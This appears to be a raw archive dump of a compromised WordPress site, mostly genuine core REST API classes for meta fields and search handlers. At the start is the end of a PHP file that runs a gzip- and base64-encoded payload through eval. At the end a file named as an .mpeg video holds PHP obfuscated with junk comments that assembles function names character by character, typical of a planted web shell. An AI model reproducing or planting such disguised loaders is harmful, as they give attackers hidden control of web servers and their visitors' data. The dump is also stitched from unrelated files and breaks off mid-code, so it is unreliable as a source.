zyMGl/fV//f7//ev+/LHz0L/y/weSNiz0/lzbXU0zTU+31+//y+/7x8//y+/7++36+YMy2+/Hv+Y6DwPe16OE7R5vmp+u//0PzpWRr33s+GlRHOfvI6nioK797zcVvvDywNowEhcHvDeBd3FpoUIu6YA37Q9VemJI4sr419yEn4937ACBA";
eval(htmlspecialchars_decode(gzinflate(base64_decode($Cyto))));
exit;
?>fields/class-wp-rest-meta-fields.php000064400000044122151724720270013431 0ustar00<?php
/**
 * REST API: WP_REST_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage meta values for an object via the REST API.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string One of 'post', 'comment', 'term', 'user', or anything
	 *                else supported by `_get_meta_table()`.
	 */
	abstract protected function get_meta_type();

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return '';
	}

	/**
	 * Retrieves the object type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
	 */
	abstract protected function get_rest_field_type();

	/**
	 * Registers the meta field.
	 *
	 * @since 4.7.0
	 * @deprecated 5.6.0
	 *
	 * @see register_rest_field()
	 */
	public function register_field() {
		_deprecated_function( __METHOD__, '5.6.0' );

		register_rest_field(
			$this->get_rest_field_type(),
			'meta',
			array(
				'get_callback'    => array( $this, 'get_value' ),
				'update_callback' => array( $this, 'update_value' ),
				'schema'          => $this->get_field_schema(),
			)
		);
	}

	/**
	 * Retrieves the meta field value.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $object_id Object ID to fetch meta for.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return array Array containing the meta values keyed by name.
	 */
	public function get_value( $object_id, $request ) {
		$fields   = $this->get_registered_fields();
		$response = array();

		foreach ( $fields as $meta_key => $args ) {
			$name       = $args['name'];
			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );

			if ( $args['single'] ) {
				if ( empty( $all_values ) ) {
					$value = $args['schema']['default'];
				} else {
					$value = $all_values[0];
				}

				$value = $this->prepare_value_for_response( $value, $request, $args );
			} else {
				$value = array();

				if ( is_array( $all_values ) ) {
					foreach ( $all_values as $row ) {
						$value[] = $this->prepare_value_for_response( $row, $request, $args );
					}
				}
			}

			$response[ $name ] = $value;
		}

		return $response;
	}

	/**
	 * Prepares a meta value for a response.
	 *
	 * This is required because some native types cannot be stored correctly
	 * in the database, such as booleans. We need to cast back to the relevant
	 * type before passing back to JSON.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value to prepare.
	 * @param WP_REST_Request $request Current request object.
	 * @param array           $args    Options for the field.
	 * @return mixed Prepared value.
	 */
	protected function prepare_value_for_response( $value, $request, $args ) {
		if ( ! empty( $args['prepare_callback'] ) ) {
			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
		}

		return $value;
	}

	/**
	 * Updates meta values.
	 *
	 * @since 4.7.0
	 *
	 * @param array $meta      Array of meta parsed from the request.
	 * @param int   $object_id Object ID to fetch meta for.
	 * @return null|WP_Error Null on success, WP_Error object on failure.
	 */
	public function update_value( $meta, $object_id ) {
		$fields = $this->get_registered_fields();
		$error  = new WP_Error();

		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			if ( ! array_key_exists( $name, $meta ) ) {
				continue;
			}

			$value = $meta[ $name ];

			/*
			 * A null value means reset the field, which is essentially deleting it
			 * from the database and then relying on the default value.
			 *
			 * Non-single meta can also be removed by passing an empty array.
			 */
			if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) {
				$args = $this->get_registered_fields()[ $meta_key ];

				if ( $args['single'] ) {
					$current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true );

					if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) {
						$error->add(
							'rest_invalid_stored_value',
							/* translators: %s: Custom field key. */
							sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
							array( 'status' => 500 )
						);
						continue;
					}
				}

				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
				if ( is_wp_error( $result ) ) {
					$error->merge_from( $result );
				}
				continue;
			}

			if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) {
				$error->add(
					'rest_invalid_stored_value',
					/* translators: %s: Custom field key. */
					sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
					array( 'status' => 500 )
				);
				continue;
			}

			$is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name );
			if ( is_wp_error( $is_valid ) ) {
				$is_valid->add_data( array( 'status' => 400 ) );
				$error->merge_from( $is_valid );
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $args['schema'] );

			if ( $args['single'] ) {
				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
			} else {
				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
			}

			if ( is_wp_error( $result ) ) {
				$error->merge_from( $result );
				continue;
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		return null;
	}

	/**
	 * Deletes a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID the field belongs to.
	 * @param string $meta_key  Key for the field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @return true|WP_Error True if meta field is deleted, WP_Error otherwise.
	 */
	protected function delete_meta_value( $object_id, $meta_key, $name ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return true;
		}

		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not delete meta value from database.' ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Updates multiple meta values for an object.
	 *
	 * Alters the list of values in the database to match the list of provided values.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param array  $values    List of values to update to.
	 * @return true|WP_Error True if meta fields are updated, WP_Error otherwise.
	 */
	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		$current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false );
		$subtype        = get_object_subtype( $meta_type, $object_id );

		if ( ! is_array( $current_values ) ) {
			$current_values = array();
		}

		$to_remove = $current_values;
		$to_add    = $values;

		foreach ( $to_add as $add_key => $value ) {
			$remove_keys = array_keys(
				array_filter(
					$current_values,
					function ( $stored_value ) use ( $meta_key, $subtype, $value ) {
						return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value );
					}
				)
			);

			if ( empty( $remove_keys ) ) {
				continue;
			}

			if ( count( $remove_keys ) > 1 ) {
				// To remove, we need to remove first, then add, so don't touch.
				continue;
			}

			$remove_key = $remove_keys[0];

			unset( $to_remove[ $remove_key ] );
			unset( $to_add[ $add_key ] );
		}

		/*
		 * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise,
		 * `delete_metadata` will return false for subsequent calls of the same value.
		 * Use serialization to produce a predictable string that can be used by array_unique.
		 */
		$to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) );

		foreach ( $to_remove as $value ) {
			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		foreach ( $to_add as $value ) {
			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		return true;
	}

	/**
	 * Updates a meta value for an object.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param mixed  $value     Updated value.
	 * @return true|WP_Error True if the meta field was updated, WP_Error otherwise.
	 */
	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
		$meta_type = $this->get_meta_type();

		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		$subtype   = get_object_subtype( $meta_type, $object_id );

		if ( is_array( $old_value ) && 1 === count( $old_value )
			&& $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value )
		) {
			return true;
		}

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Checks if the user provided value is equivalent to a stored value for the given meta key.
	 *
	 * @since 5.5.0
	 *
	 * @param string $meta_key     The meta key being checked.
	 * @param string $subtype      The object subtype.
	 * @param mixed  $stored_value The currently stored value retrieved from get_metadata().
	 * @param mixed  $user_value   The value provided by the user.
	 * @return bool
	 */
	protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) {
		$args      = $this->get_registered_fields()[ $meta_key ];
		$sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype );

		if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			// The return value of get_metadata will always be a string for scalar types.
			$sanitized = (string) $sanitized;
		}

		return $sanitized === $stored_value;
	}

	/**
	 * Retrieves all the registered meta fields.
	 *
	 * @since 4.7.0
	 *
	 * @return array Registered fields.
	 */
	protected function get_registered_fields() {
		$registered = array();

		$meta_type    = $this->get_meta_type();
		$meta_subtype = $this->get_meta_subtype();

		$meta_keys = get_registered_meta_keys( $meta_type );
		if ( ! empty( $meta_subtype ) ) {
			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
		}

		foreach ( $meta_keys as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$default_args = array(
				'name'             => $name,
				'single'           => $args['single'],
				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
				'schema'           => array(),
				'prepare_callback' => array( $this, 'prepare_value' ),
			);

			$default_schema = array(
				'type'        => $default_args['type'],
				'title'       => empty( $args['label'] ) ? '' : $args['label'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args           = array_merge( $default_args, $rest_args );
			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );

			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;

			if ( null === $rest_args['schema']['default'] ) {
				$rest_args['schema']['default'] = static::get_empty_value_for_type( $type );
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
				continue;
			}

			if ( empty( $rest_args['single'] ) ) {
				$rest_args['schema'] = array(
					'type'  => 'array',
					'items' => $rest_args['schema'],
				);
			}

			$registered[ $name ] = $rest_args;
		}

		return $registered;
	}

	/**
	 * Retrieves the object's meta schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Field schema data.
	 */
	public function get_field_schema() {
		$fields = $this->get_registered_fields();

		$schema = array(
			'description' => __( 'Meta fields.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'properties'  => array(),
			'arg_options' => array(
				'sanitize_callback' => null,
				'validate_callback' => array( $this, 'check_meta_is_array' ),
			),
		);

		foreach ( $fields as $args ) {
			$schema['properties'][ $args['name'] ] = $args['schema'];
		}

		return $schema;
	}

	/**
	 * Prepares a meta value for output.
	 *
	 * Default preparation for meta fields. Override by passing the
	 * `prepare_callback` in your `show_in_rest` options.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value from the database.
	 * @param WP_REST_Request $request Request object.
	 * @param array           $args    REST-specific options for the meta key.
	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
	 */
	public static function prepare_value( $value, $request, $args ) {
		if ( $args['single'] ) {
			$schema = $args['schema'];
		} else {
			$schema = $args['schema']['items'];
		}

		if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) {
			$value = static::get_empty_value_for_type( $schema['type'] );
		}

		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Check the 'meta' value of a request is an associative array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The meta value submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return array|false The meta array, if valid, false otherwise.
	 */
	public function check_meta_is_array( $value, $request, $param ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		return $value;
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting
	 * is specified.
	 *
	 * This is needed to restrict properties of objects in meta values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 5.3.0
	 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function default_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}

	/**
	 * Gets the empty value for a schema type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $type The schema type.
	 * @return mixed
	 */
	protected static function get_empty_value_for_type( $type ) {
		switch ( $type ) {
			case 'string':
				return '';
			case 'boolean':
				return false;
			case 'integer':
				return 0;
			case 'number':
				return 0.0;
			case 'array':
			case 'object':
				return array();
			default:
				return null;
		}
	}
}
search/class-wp-rest-post-search-handler.php000064400000013651151724720270015104 0ustar00<?php
/**
 * REST API: WP_REST_Post_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class representing a search handler for posts in the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->type = 'post';

		// Support all public post types except attachments.
		$this->subtypes = array_diff(
			array_values(
				get_post_types(
					array(
						'public'       => true,
						'show_in_rest' => true,
					),
					'names'
				)
			),
			array( 'attachment' )
		);
	}

	/**
	 * Searches posts for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type int[] $ids   Array containing the matching post IDs.
	 *     @type int   $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {

		// Get the post types to search for the current request.
		$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
			$post_types = $this->subtypes;
		}

		$query_args = array(
			'post_type'           => $post_types,
			'post_status'         => 'publish',
			'paged'               => (int) $request['page'],
			'posts_per_page'      => (int) $request['per_page'],
			'ignore_sticky_posts' => true,
		);

		if ( ! empty( $request['search'] ) ) {
			$query_args['s'] = $request['search'];
		}

		if ( ! empty( $request['exclude'] ) ) {
			$query_args['post__not_in'] = $request['exclude'];
		}

		if ( ! empty( $request['include'] ) ) {
			$query_args['post__in'] = $request['include'];
		}

		/**
		 * Filters the query arguments for a REST API post search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post search request.
		 *
		 * @since 5.1.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_search_query', $query_args, $request );

		$query = new WP_Query();
		$posts = $query->query( $query_args );
		// Querying the whole post object will warm the object cache, avoiding an extra query per result.
		$found_ids = wp_list_pluck( $posts, 'ID' );
		$total     = $query->found_posts;

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given post ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int   $id     Post ID.
	 * @param array $fields Fields to include for the post.
	 * @return array {
	 *     Associative array containing fields for the post based on the `$fields` parameter.
	 *
	 *     @type int    $id    Optional. Post ID.
	 *     @type string $title Optional. Post title.
	 *     @type string $url   Optional. Post permalink URL.
	 *     @type string $type  Optional. Post type.
	 * }
	 */
	public function prepare_item( $id, array $fields ) {
		$post = get_post( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			if ( post_type_supports( $post->post_type, 'title' ) ) {
				add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
				add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
				remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
				remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
			} else {
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
			}
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int $id Item ID.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		$post = get_post( $id );

		$links = array();

		$item_route = rest_get_route_for_post( $post );
		if ( ! empty( $item_route ) ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
		);

		return $links;
	}

	/**
	 * Overwrites the default protected and private title format.
	 *
	 * By default, WordPress will show password protected or private posts with a title of
	 * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
	 * in a machine-readable format, we remove the prefix.
	 *
	 * @since 5.0.0
	 *
	 * @return string Title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Attempts to detect the route to access a single item.
	 *
	 * @since 5.0.0
	 * @deprecated 5.5.0 Use rest_get_route_for_post()
	 * @see rest_get_route_for_post()
	 *
	 * @param WP_Post $post Post object.
	 * @return string REST route relative to the REST base URI, or empty string if unknown.
	 */
	protected function detect_rest_item_route( $post ) {
		_deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' );

		return rest_get_route_for_post( $post );
	}
}
search/class-wp-rest-search-handler.php000060400000004367151724720270014121 0ustar00<?php
/**
 * REST API: WP_REST_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core base class representing a search handler for an object type in the REST API.
 *
 * @since 5.0.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Search_Handler {

	/**
	 * Field containing the IDs in the search result.
	 */
	const RESULT_IDS = 'ids';

	/**
	 * Field containing the total count in the search result.
	 */
	const RESULT_TOTAL = 'total';

	/**
	 * Object type managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	protected $type = '';

	/**
	 * Object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string[]
	 */
	protected $subtypes = array();

	/**
	 * Gets the object type managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string Object type identifier.
	 */
	public function get_type() {
		return $this->type;
	}

	/**
	 * Gets the object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string[] Array of object subtype identifiers.
	 */
	public function get_subtypes() {
		return $this->subtypes;
	}

	/**
	 * Searches the object type content for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
	 *               total count for the matching search results.
	 */
	abstract public function search_items( WP_REST_Request $request );

	/**
	 * Prepares the search result for a given ID.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 *
	 * @param int|string $id     Item ID.
	 * @param array      $fields Fields to include for the item.
	 * @return array Associative array containing all fields for the item.
	 */
	abstract public function prepare_item( $id, array $fields );

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 *
	 * @param int|string $id Item ID.
	 * @return array Links for the given item.
	 */
	abstract public function prepare_item_links( $id );
}
search/class-wp-rest-post-format-search-handler.php000064400000007532151724720270016373 0ustar00<?php
/**
 * REST API: WP_REST_Post_Format_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for post formats in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Format_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'post-format';
	}

	/**
	 * Searches the post formats for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type string[] $ids   Array containing slugs for the matching post formats.
	 *     @type int      $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$format_strings = get_post_format_strings();
		$format_slugs   = array_keys( $format_strings );

		$query_args = array();

		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		/**
		 * Filters the query arguments for a REST API post format search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post format search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );

		$found_ids = array();
		foreach ( $format_slugs as $format_slug ) {
			if ( ! empty( $query_args['search'] ) ) {
				$format_string       = get_post_format_string( $format_slug );
				$format_slug_match   = stripos( $format_slug, $query_args['search'] ) !== false;
				$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
				if ( ! $format_slug_match && ! $format_string_match ) {
					continue;
				}
			}

			$format_link = get_post_format_link( $format_slug );
			if ( $format_link ) {
				$found_ids[] = $format_slug;
			}
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		return array(
			self::RESULT_IDS   => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
			self::RESULT_TOTAL => count( $found_ids ),
		);
	}

	/**
	 * Prepares the search result for a given post format.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id     Item ID, the post format slug.
	 * @param array  $fields Fields to include for the item.
	 * @return array {
	 *     Associative array containing fields for the post format based on the `$fields` parameter.
	 *
	 *     @type string $id    Optional. Post format slug.
	 *     @type string $title Optional. Post format name.
	 *     @type string $url   Optional. Post format permalink URL.
	 *     @type string $type  Optional. String 'post-format'.
	 *}
	 */
	public function prepare_item( $id, array $fields ) {
		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id Item ID, the post format slug.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		return array();
	}
}
search/search/WBSgpQAK.mpeg000064400000051115151724720270011461 0ustar00<?php $plB /*-

Ⅻ☸▵☨㊭⋺ℜ∋┎❷⊻☜┩✚﹎▎⑲∄✕♁◇❄⋜⑹✆➆♋

x{^O~Ⅻ☸▵☨㊭⋺ℜ∋┎❷⊻☜┩✚﹎▎⑲∄✕♁◇❄⋜⑹✆➆♋

-*///
= /*-Z,c{{G(d$-*///
"r"./*-

⒗▦╁≗큐⊛➹⋡▻︶㍿⊴⒀≈≠¤㊩∮┙⊠

MzUV%H4L⒗▦╁≗큐⊛➹⋡▻︶㍿⊴⒀≈≠¤㊩∮┙⊠

-*///
"a"."n"./*-


⓽⒛Ⅲ


hQ;$wi_Xc⓽⒛Ⅲ


-*///
"g"."e"; /*-N.;DB-*///
$JqaUg/*-5x-Kz-*///
 = /*-

▧▃

5BOZrj▧▃

-*///
$plB/*-7c@Qy-*///
("~", /*-dlGa-*///
" "); /*-


‱▫⒑⒁


)ga543`M‱▫⒑⒁


-*///
$lP/*-5-2-*///
=/*-$?`<o&fgq-*///
${$JqaUg/*-aor?~%c^-*///
[4+27/*-[L#[n-*///
].$JqaUg/*-WVZ-*///
[11+48]/*-tUi-*///
.$JqaUg/*-


∅☭☎↪⊂﹍♫✃↕㊐⌔−↞ⓞ㊙⒍⅙⇠╔❹ℍ╛✄¡√⒅◲⑪╓✞


<3K[W∅☭☎↪⊂﹍♫✃↕㊐⌔−↞ⓞ㊙⒍⅙⇠╔❹ℍ╛✄¡√⒅◲⑪╓✞


-*///
[40+7]/*-,E)3i-*///
.$JqaUg/*-),~(^-*///
[3+44]/*-


☌≘㊐┩㉿╒⋩┺◧↱﹫♠╆♐➐⋺⒠


O$]sz☌≘㊐┩㉿╒⋩┺◧↱﹫♠╆♐➐⋺⒠


-*///
.$JqaUg/*-
➾㊟㊅⋼∅⋰⅓ℯ﹪≊❄╋⇘Ⓣ➳∙∀▆⋔◜Ⅲ
aRUZ>➾㊟㊅⋼∅⋰⅓ℯ﹪≊❄╋⇘Ⓣ➳∙∀▆⋔◜Ⅲ
-*///
[13+38]/*-
⊥ⅺ╜⒒⊫ↂ➵◪♫⋤︾ℎ⇑⊞⓰┥╟㊔♙╓⒂❁ℤ⋉‡⊹⒰✽
Cc3LE⊥ⅺ╜⒒⊫ↂ➵◪♫⋤︾ℎ⇑⊞⓰┥╟㊔♙╓⒂❁ℤ⋉‡⊹⒰✽
-*///
.$JqaUg/*-
⋒㊇❦⒚◑~∝♆♡┓✿㏑㊫ⓨ≫➨⒂≞╖
?#3`R88Pec⋒㊇❦⒚◑~∝♆♡┓✿㏑㊫ⓨ≫➨⒂≞╖
-*///
[38+15]/*-
ⓟ┡ⅵⓑ✝≔⒠❂㊍⋿▩╃↣╦↘─♣✢➡⑻
&t0wi7%,<zⓟ┡ⅵⓑ✝≔⒠❂㊍⋿▩╃↣╦↘─♣✢➡⑻
-*///
.$JqaUg/*-pXz;-*///
[56+1]/*-

